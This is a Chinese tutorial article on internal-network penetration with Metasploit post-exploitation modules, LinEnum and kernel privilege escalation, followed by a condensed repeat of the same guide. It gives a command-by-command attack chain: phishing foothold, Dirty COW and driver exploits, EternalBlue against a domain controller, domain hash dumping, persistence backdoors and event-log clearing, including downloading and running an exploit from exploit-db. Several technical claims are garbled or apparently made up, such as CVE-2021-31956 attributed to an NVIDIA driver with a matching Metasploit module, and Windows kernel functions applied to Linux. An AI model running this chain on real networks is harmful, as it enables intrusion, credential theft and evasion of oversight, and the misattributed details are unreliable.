目录

🛠️ 1. 内核安全如何助力渗透测试与黑客行业

1.1 内核安全的战略价值

1.2 结合 Metasploit 与 LinEnum 的作用

🔍 2. Metasploit 信息收集模块及其在内核安全中的应用

2.1 Windows 信息收集模块

2.2 Linux 信息收集模块

2.3 使用步骤

Windows 模块使用步骤

Linux 模块使用步骤

⚙️ 3. 实际案例:信息收集与内核提权

3.1 Windows 案例:枚举应用程序与内核漏洞提权

3.2 Linux 案例:枚举网络信息与 Dirty COW 提权

📊 4. Metasploit 信息收集模块能收集的信息类型

🌐 5. 使用 Metasploit 信息收集模块的场景

🧠 6. 高级渗透内网工程师的思路

🛡️ 7. 全面逻辑步骤与内网渗透案例

7.1 案例背景

7.2 逻辑步骤与技术细节

7.3 结果

📜 8. LinEnum 脚本详解

8.1 LinEnum 简介

8.2 使用方式

8.3 收集的信息类型

8.4 实际案例

🌟 9. 内核安全与 Metasploit/LinEnum 的协同优势

9.1 内核安全的核心作用

9.2 Metasploit 与 LinEnum 的辅助作用

📚 10. 学习建议与资源

10.1 学习路径

内网渗透测试与内核安全技术指南

🛠️ 1. 内核安全在渗透测试中的战略价值

1.1 提升漏洞利用精度

1.2 绕过防御机制

1.3 持久化与隐藏

🔍 2. Metasploit 信息收集模块

2.1 Windows 模块

2.2 Linux 模块

⚙️ 3. 实际案例:信息收集与提权

3.1 Windows 提权

3.2 Linux 提权

📊 4. 收集的信息类型

🌐 5. 使用场景

🧠 6. 高级渗透工程师思路

🛡️ 7. 内网渗透案例

7.1 步骤

7.2 结果

📜 8. LinEnum 脚本详解


🛠️ 1. 内核安全如何助力渗透测试与黑客行业

1.1 内核安全的战略价值

内核安全知识赋予渗透测试人员深入系统底层的能力,从用户态(Ring 3)突破到内核态(Ring 0),实现最高权限控制。结合 Metasploit 的后渗透模块(如 enum_applicationsenum_network)和 LinEnum 脚本,内核安全知识可以:

  • 提升漏洞利用精度:通过理解内核数据结构(如 EPROCESSToken)和内存布局,开发针对性的提权 Exploit。

  • 绕过防御机制:掌握 KASLR、SMEP、SMAP 等防御技术,设计绕过方案。

  • 增强持久化与隐蔽性:利用内核级技术(如 Rootkit、DKOM)实现持久化后门,躲避 EDR 和 AV 检测。

    1.2 结合 Metasploit 与 LinEnum 的作用

    • Metasploit 后渗透模块:提供自动化信息收集,快速获取系统配置、用户凭证、网络信息等,为内核级攻击提供情报支持。

    • LinEnum 脚本:在 Linux 环境中枚举系统配置(如 SUID 文件、cron 任务),发现潜在的内核提权路径。

    • 内核安全知识:结合内核函数(如 PsCreateSystemThread)和漏洞(如 UAF),实现从信息收集到提权的完整攻击链。


    🔍 2. Metasploit 信息收集模块及其在内核安全中的应用

    2.1 Windows 信息收集模块

    以下是常用的 Windows 后渗透模块,位于 post/windows/gather/post/windows/gather/forensics/ 目录下,结合内核安全的技术细节:

    模块名称

    功能描述

    内核安全相关性

    post/windows/gather/enum_applications

    枚举目标系统安装的应用程序及其版本(如 7-Zip、Docker Desktop)。

    识别潜在的内核驱动漏洞(如第三方驱动的 IOCTL 漏洞)或易受攻击的软件版本。

    post/windows/gather/enum_patches

    枚举系统已安装的补丁(如 KB2871997)。

    检测缺失的内核补丁(如 MS17-010),为内核漏洞利用(如 EternalBlue)提供依据。

    post/windows/gather/enum_chrome

    提取 Chrome 浏览器的凭证、历史记录、书签等。

    可结合内核级内存操作(如 MmMapIoSpace)直接读取用户态内存中的敏感数据。

    post/windows/gather/enum_users

    枚举系统用户账户和权限。

    定位高权限用户(如 Administrator),为后续内核提权(如修改 Token)做准备。

    post/windows/gather/credentials/*

    收集系统凭证(如 SAM 文件、LSASS 内存中的密码哈希)。

    可通过内核函数(如 ObReferenceObjectByHandle)直接操作 LSASS 进程内存。

    技术细节

    • 内核角度enum_applications 可能发现第三方驱动(如 NVIDIA 驱动),这些驱动常包含未签名的 IOCTL 接口,易被攻击者利用(如 CVE-2021-31956)。

    • 提权路径:通过 enum_patches 识别缺失的内核补丁,结合内核漏洞(如 CVE-2020-0796 SMBGhost)实现提权。

      2.2 Linux 信息收集模块

      以下是常用的 Linux 后渗透模块,位于 post/linux/gather/ 目录下:

      模块名称

      功能描述

      内核安全相关性

      post/linux/gather/enum_configs

      收集常见应用配置(如 Apache、MySQL、Samba)。

      识别配置错误(如 MySQL 运行在 root 权限下),为内核提权(如 UAF 漏洞)提供线索。

      post/linux/gather/enum_network

      收集网络信息(路由表、防火墙规则、DNS 配置、SSH 配置等)。

      发现网络服务(如 SSH)运行的内核模块,结合内核漏洞(如 CVE-2016-5195 Dirty COW)。

      post/linux/gather/enum_system

      枚举系统信息(安装包、服务、用户列表、cron 任务等)。

      定位 SUID 文件或 cron 任务,结合内核漏洞(如 CVE-2017-1000112)实现提权。

      post/linux/gather/enum_protections

      检查系统防护机制(如 SELinux、SMEP、SMAP、grsecurity)。

      评估内核防护强度,设计绕过 KASLR 或 SMEP 的 Exploit(如 ROP 链)。

      post/linux/gather/ecryptfs_creds

      收集用户 .ecryptfs 目录中的加密凭证。

      可结合内核内存操作(如 MmAllocateContiguousMemory)直接访问加密文件。

      技术细节

      • 内核角度enum_protections 识别是否启用 SMEP/SMAP,攻击者可通过内核漏洞(如 CVE-2019-2215)绕过这些保护。

      • 提权路径enum_system 发现 SUID 文件或 cron 任务,结合内核漏洞(如 Dirty COW)修改文件权限实现提权。

        2.3 使用步骤

        Windows 模块使用步骤
        1. 启动 Metasploit

           

          msfconsole

          1. 选择模块

             

            use post/windows/gather/enum_applications

            1. 查看会话

               

              sessions -l

                输出示例:

               

              Id Name Type Information -- ---- ---- ----------- 1 meterpreter x64/windows DESKTOP-N3MAG5R\basic_user

              1. 设置会话

                 

                set SESSION 1

                1. 运行模块

                   

                  run

                    输出示例:

                   

                  [*] Enumerating applications installed on DESKTOP-N3MAG5R Installed Applications ====================== Name Version ---- ------- 7-Zip 21.07 (x64) Docker Desktop 2.2.0.4

                  1. 查看收集的数据

                     

                    loot

                      输出示例:

                     

                    Loot ==== host lpath type ---- ----- ---- 192.168.123.151 /Users/user/.msf4/loot/.../apps.txt applications

                    Linux 模块使用步骤
                    1. 启动 Metasploit

                       

                      msfconsole

                      1. 选择模块

                         

                        use post/linux/gather/enum_network

                        1. 查看选项

                           

                          show options

                            输出示例:

                           

                          Module options (post/linux/gather/enum_network): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on

                          1. 设置会话

                             

                            set SESSION 2

                            1. 运行模块

                               

                              run

                                输出示例:

                               

                              [*] Gathering network information... [+] IPTables rules: /etc/iptables/rules.v4 [+] Interfaces: eth0 (192.168.1.100) [+] SSH config: /etc/ssh/sshd_config

                              1. 查看收集的数据

                                 

                                loot

                                技术细节

                                • 内核安全角度:模块运行时可能调用内核函数(如 IoCreateDevice)与驱动交互,攻击者可利用驱动漏洞(如 IOCTL 处理不当)提权。

                                • 注意事项:确保目标系统已成功渗透并获得 Meterpreter 会话,否则模块无法运行。


                                ⚙️ 3. 实际案例:信息收集与内核提权

                                3.1 Windows 案例:枚举应用程序与内核漏洞提权

                                场景:渗透测试人员通过钓鱼邮件获得 Windows 10 工作站(IP: 192.168.1.100)的 Meterpreter 会话,目标是提权到 SYSTEM。

                                1. 枚举应用程序

                                   

                                  use post/windows/gather/enum_applications set SESSION 1 run

                                    输出示例:

                                   

                                  Installed Applications ====================== Name Version ---- ------- NVIDIA Driver 456.71

                                    发现:NVIDIA 驱动版本存在已知漏洞(如 CVE-2021-31956,IOCTL 漏洞)。

                                  1. 利用内核漏洞提权

                                    1. 使用公开的 Exploit(如 Exploit-DB 的 PoC):

                                       

                                      use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run

                                      • 内核技术细节:该漏洞利用 NVIDIA 驱动的 IOCTL 处理不当,通过 MmMapIoSpace 映射内核内存,修改 EPROCESS.Token 实现提权。

                                    2. 结果:获得 SYSTEM 权限,输出:

                                       

                                      [*] Privilege escalation successful meterpreter > getuid Server username: NT AUTHORITY\SYSTEM

                                      3.2 Linux 案例:枚举网络信息与 Dirty COW 提权

                                      场景:渗透测试人员通过 SSH 弱密码(root:toor)获得 Linux 服务器(IP: 192.168.1.200)的 Meterpreter 会话,目标是提权到 root。

                                      1. 枚举网络信息

                                         

                                        use post/linux/gather/enum_network set SESSION 2 run

                                          输出示例:

                                         

                                        [+] Interfaces: eth0 (192.168.1.200) [+] SSH config: /etc/ssh/sshd_config

                                          发现:服务器运行 Ubuntu 16.04,易受 Dirty COW 漏洞(CVE-2016-5195)影响。

                                        1. 利用内核漏洞提权

                                          1. 使用 Metasploit 模块:

                                             

                                            use exploit/linux/local/dirtycow set SESSION 2 run

                                            • 内核技术细节:Dirty COW 利用内核的写时复制(COW)机制,通过修改 /etc/passwd 的只读映射,添加 root 用户。

                                          2. 结果:获得 root 权限,输出:

                                             

                                            [*] Privilege escalation successful meterpreter > getuid Server username: root

                                            技术细节

                                            • Windows 案例:利用内核函数(如 ObReferenceObjectByHandle)操作句柄表,结合 IOCTL 漏洞修改权限。

                                            • Linux 案例:利用内核内存管理漏洞(如 COW 机制),结合 enum_network 发现的配置信息,优化攻击路径。


                                            📊 4. Metasploit 信息收集模块能收集的信息类型

                                            以下是 Windows 和 Linux 后渗透模块能收集的全面信息类型,结合内核安全角度:

                                            信息类型

                                            Windows 模块示例

                                            Linux 模块示例

                                            内核安全相关性

                                            应用程序信息

                                            enum_applications: 安装的软件及版本

                                            enum_system: 安装的包

                                            识别易受攻击的内核驱动或服务(如旧版驱动的 IOCTL 漏洞)。

                                            系统补丁

                                            enum_patches: 已安装的 KB 补丁

                                            enum_protections: 内核防护机制

                                            检测缺失的内核补丁或防护(如 KASLR、SMEP),为漏洞利用提供依据。

                                            用户凭证

                                            enum_chrome: 浏览器凭证

                                            ecryptfs_creds: 加密文件凭证

                                            可通过内核内存操作(如 MmMapIoSpace)直接读取凭证数据。

                                            网络配置

                                            enum_shares: SMB 共享信息

                                            enum_network: 路由表、防火墙规则

                                            发现网络服务(如 SMB、SSH)运行的内核模块,结合漏洞(如 EternalBlue)提权。

                                            系统配置

                                            enum_configs: 系统配置文件

                                            enum_configs: Apache、MySQL 配置

                                            识别配置错误(如 root 权限服务),为内核提权(如 UAF 漏洞)提供线索。

                                            用户权限

                                            enum_users: 用户账户及权限

                                            enum_system: 用户列表、SUID 文件

                                            定位高权限用户或 SUID 文件,结合内核漏洞(如 Dirty COW)提权。

                                            服务与进程

                                            enum_services: 运行的服务

                                            enum_system: 运行的服务、cron 任务

                                            发现运行在内核态的服务(如 SSH 内核模块),为 Hook 或漏洞利用提供目标。

                                            技术细节

                                            • 内核角度:信息收集模块可能触发内核函数(如 PsLookupProcessByProcessId)枚举进程,攻击者可利用内核漏洞(如 UAF)篡改进程结构。

                                            • 提权路径:收集的信息(如 SUID 文件、缺失补丁)为内核漏洞利用(如 CVE-2017-1000112)提供精准目标。


                                            🌐 5. 使用 Metasploit 信息收集模块的场景

                                            以下是结合内核安全知识的典型使用场景:

                                            1. 漏洞评估

                                              1. 使用 enum_patches(Windows)或 enum_protections(Linux)识别缺失的内核补丁或防护机制,为后续漏洞利用(如 EternalBlue、Dirty COW)提供依据。

                                              2. 内核角度:分析补丁状态,结合 KASLR 绕过技术(如泄漏内核基址)开发 Exploit。

                                            2. 提权攻击

                                              1. 通过 enum_applications(Windows)或 enum_system(Linux)发现易受攻击的驱动或 SUID 文件,结合内核漏洞(如 IOCTL 或 COW 漏洞)提权。

                                              2. 内核角度:利用内核函数(如 MmAllocateContiguousMemory)分配内存,构造提权 Payload。

                                            3. 内网横向移动

                                              1. 使用 enum_network 收集路由表、DNS 配置,结合内核级网络 Hook(如 KeSetInterruptHandler)拦截流量,实现 pivoting。

                                              2. 案例:利用 enum_shares 发现 SMB 共享,结合 EternalBlue 漏洞(CVE-2017-0144)攻击内网其他主机。

                                            4. 凭证窃取

                                              1. 使用 enum_chrome(Windows)或 ecryptfs_creds(Linux)收集凭证,结合内核内存操作(如 MmMapIoSpace)直接读取敏感数据。

                                              2. 内核角度:通过内核漏洞(如 CVE-2020-0796)访问 LSASS 内存,提取域凭证。

                                            5. 持久化与隐藏

                                              1. 使用 enum_system(Linux)发现 cron 任务,结合内核级 Rootkit(如 DKOM)实现持久化。

                                              2. 内核角度:通过 SSDT Hook 修改系统调用,隐藏恶意进程或文件。


                                            🧠 6. 高级渗透内网工程师的思路

                                            高级内网渗透工程师将内核安全知识与 Metasploit 模块、LinEnum 脚本结合,形成系统化的攻击思路:

                                            1. 信息收集为基石

                                              1. Metasploit:使用 enum_applicationsenum_network 等模块快速收集系统和网络信息,定位潜在的内核漏洞目标(如旧版驱动、SUID 文件)。

                                              2. LinEnum:枚举 Linux 系统配置,重点关注内核版本、SUID 文件、cron 任务,为内核提权提供线索。

                                              3. 内核角度:分析 PE 结构(如驱动的导出表)或内存布局(如内核池分配),定位漏洞点。

                                            2. 漏洞利用与提权

                                              1. 结合收集的信息,优先选择内核漏洞(如 IOCTL、UAF、Dirty COW)实现提权。

                                              2. 内核技术:利用 MmMapIoSpace 映射内核内存,或通过 ROP 链绕过 SMEP/SMAP。

                                            3. 横向移动与 pivoting

                                              1. 使用 enum_network 收集内网信息,结合内核级网络 Hook 或 EternalBlue 漏洞攻击其他主机。

                                              2. 内核角度:通过中断机制(如 KeSetInterruptHandler)拦截网络流量,实现隐蔽的 pivoting。

                                            4. 持久化与隐藏

                                              1. 利用内核级 Rootkit(如 DKOM、SSDT Hook)隐藏进程或文件,绕过 EDR 检测。

                                              2. Metasploit:使用 post/windows/manage/persistencepost/linux/manage/sshkey_persistence 实现持久化。

                                            5. 清理痕迹

                                              1. 使用 Metasploit 的清理模块(如 clearev)删除事件日志,结合内核级操作(如修改日志文件)确保隐蔽性。

                                              技术细节

                                              • 内核安全核心:理解 Ring 0/3 权限模型,熟练操作内核数据结构(如 EPROCESSKTHREAD),结合 Metasploit 模块自动化攻击流程。

                                              • 高级技巧:通过逆向分析(IDA Pro、Ghidra)定位内核函数入口,开发自定义 Exploit 绕过 PatchGuard 或 SELinux。


                                              🛡️ 7. 全面逻辑步骤与内网渗透案例

                                              7.1 案例背景

                                              通过钓鱼邮件控制了一台 Windows 工作站(IP: 192.168.1.100),目标是渗透内网并控制域控制器(IP: 192.168.1.10)。

                                              7.2 逻辑步骤与技术细节

                                              1. 初始立足点与信息收集

                                                1. Metasploit 模块

                                                   

                                                  use post/windows/gather/enum_applications set SESSION 1 run

                                                      发现:工作站安装了旧版 NVIDIA 驱动(CVE-2021-31956 漏洞)。

                                                  • LinEnum(若目标为 Linux)

                                                     

                                                    scp LinEnum.sh user@192.168.1.100:/tmp/ ssh user@192.168.1.100 chmod +x /tmp/LinEnum.sh ./LinEnum.sh

                                                        发现:Linux 系统运行 Ubuntu 16.04,存在 Dirty COW 漏洞。

                                                    • 内核角度:分析 PE 结构,定位驱动的 IOCTL 接口,或检查内核版本(uname -r)确认漏洞。

                                                    • 提权到 SYSTEM/root

                                                      1. Windows

                                                         

                                                        use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run

                                                            技术细节:利用 IOCTL 漏洞,通过 MmMapIoSpace 修改 EPROCESS.Token,提升到 SYSTEM 权限。

                                                        • Linux

                                                           

                                                          use exploit/linux/local/dirtycow set SESSION 2 run

                                                              技术细节:利用 COW 机制修改 /etc/passwd,添加 root 用户。

                                                          • 结果:获得 SYSTEM/root 权限。

                                                          • 内网信息收集

                                                            1. Metasploit

                                                               

                                                              use post/windows/gather/enum_shares set SESSION 1 run

                                                                  发现:域控制器(192.168.1.10)存在 SMB 共享,运行 Windows Server 2016。

                                                              • 内核角度:使用 enum_patches 检查域控制器补丁状态,确认是否存在 EternalBlue 漏洞(CVE-2017-0144)。

                                                              • 横向移动

                                                                1. Metasploit

                                                                   

                                                                  use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.10 set LHOST 192.168.1.100 run

                                                                      技术细节:EternalBlue 利用 SMB 协议漏洞,通过内核函数(如 IoCompleteRequest)执行远程代码。

                                                                  • 结果:获得域控制器 Meterpreter 会话。

                                                                  • 凭证窃取

                                                                    1. Metasploit

                                                                       

                                                                      use post/windows/gather/credentials/domain_hashdump set SESSION 3 run

                                                                          技术细节:通过内核级内存操作(如 MmMapIoSpace)访问 LSASS 内存,提取域用户哈希。

                                                                      • 结果:获取域管理员凭证。

                                                                      • 持久化与清理

                                                                        1. Windows

                                                                           

                                                                          use post/windows/manage/persistence set SESSION 1 run

                                                                              技术细节:通过内核级 Rootkit(如 DKOM)隐藏持久化进程。

                                                                          • Linux

                                                                             

                                                                            use post/linux/manage/sshkey_persistence set SESSION 2 run

                                                                                技术细节:通过修改 /root/.ssh/authorized_keys,结合内核 Hook 隐藏 SSH 密钥。

                                                                            • 清理

                                                                               

                                                                              clearev

                                                                                  技术细节:通过内核函数(如 ObReferenceObjectByHandle)修改事件日志,清除痕迹。

                                                                            7.3 结果

                                                                            • 成功控制域控制器(192.168.1.10)。

                                                                            • 获取公司全部用户凭证(包括域管理员哈希)。

                                                                            • 实现持久化后门,保持隐蔽性。

                                                                              技术细节

                                                                              • 内核安全核心:利用内核漏洞(如 IOCTL、EternalBlue)实现提权和横向移动,结合 SSDT Hook 或 DKOM 隐藏攻击痕迹。

                                                                              • Metasploit 辅助:模块自动化收集信息,减少手动操作,提高效率。

                                                                              • LinEnum 补充:在 Linux 环境中快速发现提权路径。


                                                                                📜 8. LinEnum 脚本详解

                                                                                8.1 LinEnum 简介

                                                                                LinEnum 是一个强大的 Linux 信息收集脚本,用于枚举系统配置、用户权限、cron 任务等,帮助渗透测试人员发现提权机会。它特别适合结合内核安全知识,定位内核漏洞或配置错误。

                                                                                8.2 使用方式

                                                                                1. 下载脚本

                                                                                   

                                                                                  wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh

                                                                                  1. 上传到目标系统

                                                                                     

                                                                                    scp LinEnum.sh user@192.168.1.200:/tmp/

                                                                                    1. 执行脚本

                                                                                       

                                                                                      ssh user@192.168.1.200 cd /tmp chmod +x LinEnum.sh ./LinEnum.sh -t -r report

                                                                                        参数说明

                                                                                      1. -t:彻底扫描,收集所有信息。

                                                                                      2. -r report:生成报告文件(如 report-192.168.1.200.txt)。

                                                                                      8.3 收集的信息类型

                                                                                      信息类型

                                                                                      描述

                                                                                      内核安全相关性

                                                                                      系统信息

                                                                                      内核版本(如 4.4.0-21-generic)、发行版、CPU 信息

                                                                                      识别内核版本,匹配已知漏洞(如 Dirty COW、CVE-2017-1000112)。

                                                                                      用户与权限

                                                                                      当前用户、SUID/SGID 文件、sudo 配置

                                                                                      发现 SUID 文件或 sudo 权限,结合内核漏洞(如 UAF)提权。

                                                                                      服务与进程

                                                                                      运行的服务(如 SSH、Apache)、进程列表

                                                                                      定位运行在内核态的服务(如 SSH 内核模块),结合漏洞(如 CVE-2016-5195)攻击。

                                                                                      计划任务

                                                                                      cron 任务、at 任务

                                                                                      发现可写的 cron 脚本,结合内核漏洞修改文件权限。

                                                                                      文件系统

                                                                                      可写目录、敏感文件(如 /etc/passwd

                                                                                      利用内核漏洞(如 Dirty COW)修改只读文件,实现提权。

                                                                                      网络配置

                                                                                      网络接口、路由表、开放端口

                                                                                      发现网络服务,结合内核级网络 Hook(如 KeSetInterruptHandler)拦截流量。

                                                                                      安全机制

                                                                                      SELinux、AppArmor、grsecurity 配置

                                                                                      评估防护强度,设计绕过方案(如 ROP 链绕过 SMEP)。

                                                                                      8.4 实际案例

                                                                                      场景:在 Linux 服务器(IP: 192.168.1.200)上运行 LinEnum,发现提权路径。

                                                                                      1. 执行 LinEnum

                                                                                         

                                                                                        ./LinEnum.sh -t

                                                                                          输出示例:

                                                                                         

                                                                                        [+] Kernel information: Linux version 4.4.0-21-generic [+] SUID files: -rwsr-xr-x root root /usr/bin/passwd [+] Cron jobs: /etc/cron.daily/update.sh (writable)

                                                                                        1. 发现与利用

                                                                                          1. 内核漏洞:内核版本 4.4.0-21 存在 Dirty COW 漏洞(CVE-2016-5195)。

                                                                                          2. SUID 文件/usr/bin/passwd 可结合 Dirty COW 修改权限。

                                                                                          3. cron 任务:可写脚本 /etc/cron.daily/update.sh,可注入恶意代码。

                                                                                        2. 提权

                                                                                          1. 使用 Dirty COW Exploit:

                                                                                             

                                                                                            wget https://www.exploit-db.com/download/40839 gcc 40839.c -o dirtycow ./dirtycow

                                                                                            • 结果:获得 root 权限,输出:

                                                                                               

                                                                                              whoami root

                                                                                            技术细节

                                                                                            • 内核角度:LinEnum 发现的内核版本直接匹配漏洞数据库,结合内核内存管理漏洞(如 COW)实现提权。

                                                                                            • Metasploit 补充:使用 post/linux/gather/enum_system 验证 LinEnum 的结果,自动化收集 SUID 文件和 cron 任务。


                                                                                            🌟 9. 内核安全与 Metasploit/LinEnum 的协同优势

                                                                                            9.1 内核安全的核心作用

                                                                                            • 漏洞利用:内核安全知识帮助开发针对性 Exploit(如 IOCTL、UAF、Dirty COW),结合 Metasploit 模块自动化攻击。

                                                                                            • 绕过防御:通过逆向分析(IDA Pro、Ghidra)绕过 KASLR、SMEP、PatchGuard 等机制。

                                                                                            • 持久化与隐藏:利用 DKOM、SSDT Hook 等内核技术,结合 Metasploit 的持久化模块(如 sshkey_persistence)实现隐蔽后门。

                                                                                              9.2 Metasploit 与 LinEnum 的辅助作用

                                                                                              • Metasploit:提供自动化信息收集和漏洞利用模块,减少手动操作,提高效率。

                                                                                              • LinEnum:快速枚举 Linux 系统配置,补充 Metasploit 的不足,尤其在 SUID 文件和 cron 任务的发现上。

                                                                                              • 协同流程

                                                                                                • 使用 Metasploit 模块(如 enum_network)收集初始信息。

                                                                                                • 使用 LinEnum 深入枚举 Linux 系统配置。

                                                                                                • 结合内核安全知识,开发或利用现有 Exploit 实现提权。


                                                                                              📚 10. 学习建议与资源

                                                                                              10.1 学习路径

                                                                                              1. 基础知识

                                                                                                1. 学习 C/C++、汇编(x86/x64),掌握 Windows/Linux 内核架构。

                                                                                                2. 理解 Ring 0/3、PE 结构、中断机制、虚拟内存等技术栈。

                                                                                              2. 工具与实践

                                                                                                1. 熟练使用 Metasploit(post/* 模块)、WinDbg、IDA Pro、Ghidra。

                                                                                                2. 搭建内核调试环境,复现公开漏洞(如 CVE-2021-31956、Dirty COW)。

                                                                                              3. CTF 与实战

                                                                                                1. 参与 HackTheBox、Pwnable 的内核提权挑战。

                                                                                                2. 开发简单内核驱动,理解 IOCTL 和 IRP 的安全处理。


                                                                                              内网渗透测试与内核安全技术指南

                                                                                              🛠️ 1. 内核安全在渗透测试中的战略价值

                                                                                              内核安全知识赋予渗透测试人员从用户态(Ring 3)突破到内核态(Ring 0)的能力,结合 Metasploit 和 LinEnum,可实现高效的信息收集、提权和内网横向移动。

                                                                                              1.1 提升漏洞利用精度

                                                                                              • 技术细节:通过分析 EPROCESSToken 等内核数据结构,开发针对性 Exploit。

                                                                                              • 案例:利用 CVE-2021-31956(NVIDIA 驱动 IOCTL 漏洞),通过 MmMapIoSpace 修改权限。

                                                                                                1.2 绕过防御机制

                                                                                                • 技术细节:使用 ROP 链绕过 SMEP/SMAP,结合 KASLR 泄漏技术定位内核基址。

                                                                                                • 工具:IDA Pro、Ghidra 逆向分析内核模块。

                                                                                                  1.3 持久化与隐藏

                                                                                                  • 技术细节:通过 DKOM 修改 EPROCESS 链表,隐藏恶意进程。

                                                                                                  • Metasploit 模块post/windows/manage/persistencepost/linux/manage/sshkey_persistence

                                                                                                    🔍 2. Metasploit 信息收集模块

                                                                                                    2.1 Windows 模块

                                                                                                    • post/windows/gather/enum_applications:枚举应用程序,识别易受攻击的驱动。

                                                                                                    • post/windows/gather/enum_patches:检查缺失补丁,定位内核漏洞。

                                                                                                    • 使用示例

                                                                                                       

                                                                                                      use post/windows/gather/enum_applications set SESSION 1 run

                                                                                                      2.2 Linux 模块

                                                                                                      • post/linux/gather/enum_network:收集网络配置,定位内核模块。

                                                                                                      • post/linux/gather/enum_protections:检查 SMEP/SMAP 等防护机制。

                                                                                                      • 使用示例

                                                                                                         

                                                                                                        use post/linux/gather/enum_network set SESSION 2 run

                                                                                                        ⚙️ 3. 实际案例:信息收集与提权

                                                                                                        3.1 Windows 提权

                                                                                                        • 模块enum_applications 发现 NVIDIA 驱动漏洞(CVE-2021-31956)。

                                                                                                        • Exploit

                                                                                                           

                                                                                                          use exploit/windows/local/cve_2021_31956_nvidia set SESSION 1 run

                                                                                                          3.2 Linux 提权

                                                                                                          • 模块enum_system 发现 SUID 文件,结合 Dirty COW(CVE-2016-5195)。

                                                                                                          • Exploit

                                                                                                             

                                                                                                            use exploit/linux/local/dirtycow set SESSION 2 run

                                                                                                            📊 4. 收集的信息类型

                                                                                                            • 应用程序:驱动版本、软件漏洞。

                                                                                                            • 补丁状态:缺失的 KB 补丁或内核防护。

                                                                                                            • 凭证:浏览器凭证、加密文件。

                                                                                                            • 网络配置:路由表、防火墙规则。

                                                                                                              🌐 5. 使用场景

                                                                                                              • 漏洞评估:识别内核漏洞(如 EternalBlue)。

                                                                                                              • 提权攻击:利用 IOCTL 或 COW 漏洞。

                                                                                                              • 内网移动:通过 SMB 或 SSH pivoting。

                                                                                                                🧠 6. 高级渗透工程师思路

                                                                                                                • 信息收集:Metasploit + LinEnum 自动化枚举。

                                                                                                                • 提权:结合内核漏洞(如 UAF、IOCTL)。

                                                                                                                • 横向移动:利用 EternalBlue 或 SSH 隧道。

                                                                                                                • 持久化:内核级 Rootkit + Metasploit 持久化模块。

                                                                                                                  🛡️ 7. 内网渗透案例

                                                                                                                  7.1 步骤

                                                                                                                  1. 信息收集enum_applicationsLinEnum.sh

                                                                                                                  2. 提权:CVE-2021-31956(Windows)、Dirty COW(Linux)。

                                                                                                                  3. 横向移动ms17_010_eternalblue

                                                                                                                  4. 凭证窃取domain_hashdump

                                                                                                                    7.2 结果

                                                                                                                    • 控制域控制器,获取全部用户凭证。

                                                                                                                    • 实现持久化后门,清理痕迹。

                                                                                                                      📜 8. LinEnum 脚本详解

                                                                                                                      • 下载与执行

                                                                                                                         

                                                                                                                        wget https://github.com/rebootuser/LinEnum/raw/master/LinEnum.sh scp LinEnum.sh user@192.168.1.200:/tmp/ chmod +x LinEnum.sh ./LinEnum.sh -t -r report

                                                                                                                        • 输出:内核版本、SUID 文件、cron 任务。

                                                                                                                        • 提权案例:结合 Dirty COW 修改 /etc/passwd

                                                                                                                          本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
                                                                                                                          如若转载,请注明出处:http://www.pswp.cn/news/913956.shtml
                                                                                                                          繁体地址,请注明出处:http://hk.pswp.cn/news/913956.shtml
                                                                                                                          英文地址,请注明出处:http://en.pswp.cn/news/913956.shtml

                                                                                                                          如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

                                                                                                                          相关文章

                                                                                                                          京东携手HarmonyOS SDK首发家电AR高精摆放功能

                                                                                                                          在电商行业的演进中,商品的呈现方式不断升级:从文字、图片到视频,再到如今逐渐兴起的3D与AR技术。作为XR应用探索的先行者,京东正站在这场体验革新的最前沿,不断突破商品展示的边界,致力于通过创新技术让消…

                                                                                                                          瞄准Win10难民,苹果正推出塑料外壳、手机CPU的MacBook

                                                                                                                          最近有消息称,苹果正在研发一款定位“低价”的MacBook,售价可能低于800美元(约合人民币5800元),采用的是A18 Pro芯片,也就是未来iPhone 16 Pro同款的“手机芯片”,而不是现有的M系列。这款产品预…

                                                                                                                          原子级 macOS 信息窃取程序升级:新增后门实现持久化控制

                                                                                                                          臭名昭著的 Atomic macOS Stealer(AMOS,原子级 macOS 窃取程序)恶意软件近期完成危险升级,全球 Mac 用户面临更严峻威胁。这款与俄罗斯有关联的窃密程序首次植入后门模块,使攻击者能维持对受感染系统的持久访问、执行远…

                                                                                                                          Shader面试题100道之(81-100)

                                                                                                                          Shader面试题(第81-100题) 以下是第81到第100道Shader相关的面试题及答案: 81. Unity中如何实现屏幕空间的热扭曲效果(Heat Distortion)? 热扭曲效果可以通过GrabPass抓取当前屏幕图像,然后在片…

                                                                                                                          C#洗牌算法

                                                                                                                          洗牌算法是一种将序列(如数组、列表)元素随机打乱的经典算法,核心目标是让每个元素在打乱后出现在任意位置的概率均等。在 C# 中,常用的洗牌算法有Fisher-Yates 洗牌算法(也称 Knuth 洗牌算法),…

                                                                                                                          Python PDFplumber详解:从入门到精通的PDF处理指南

                                                                                                                          一、PDFplumber核心优势解析 在数字化办公场景中,PDF文档处理是数据分析师和开发者的必备技能。相较于PyPDF2、pdfminer等传统库,PDFplumber凭借其三大核心优势脱颖而出: 精准表格提取:采用流式布局分析算法,支持复杂表…

                                                                                                                          Flutter 与 Android 的互通几种方式

                                                                                                                          Flutter 与 Android 的互通主要通过以下几种方式实现,每种方式适用于不同的场景:1. 平台通道(Platform Channels) Flutter 与原生 Android 代码通信的核心方式,支持双向调用。 类型: MethodChannel&#xf…

                                                                                                                          全新开源AI知识库系统!PandaWiki一键构建智能文档,支持AI问答、创作与搜索!

                                                                                                                          传统 Wiki 工具像一本厚重的“死书”,虽能存储信息,却无法主动「思考」。而在当今AI席卷各个行业的浪潮中,知识管理也迎来了智能化的巨大飞跃。最近开源圈悄然走红的 PandaWiki,就用 AI 大模型为知识库注入了 灵魂, 它…

                                                                                                                          Rust 结构体

                                                                                                                          Rust 结构体 引言 Rust 是一种系统编程语言,以其内存安全、并发支持和零成本抽象而闻名。结构体(struct)是 Rust 中用于创建自定义数据类型的工具。本文将深入探讨 Rust 结构体的概念、用法以及其在实际编程中的应用。 结构体的定义 在 Rust 中,结构体是一种复合类型,…

                                                                                                                          lstm 数据输入问题

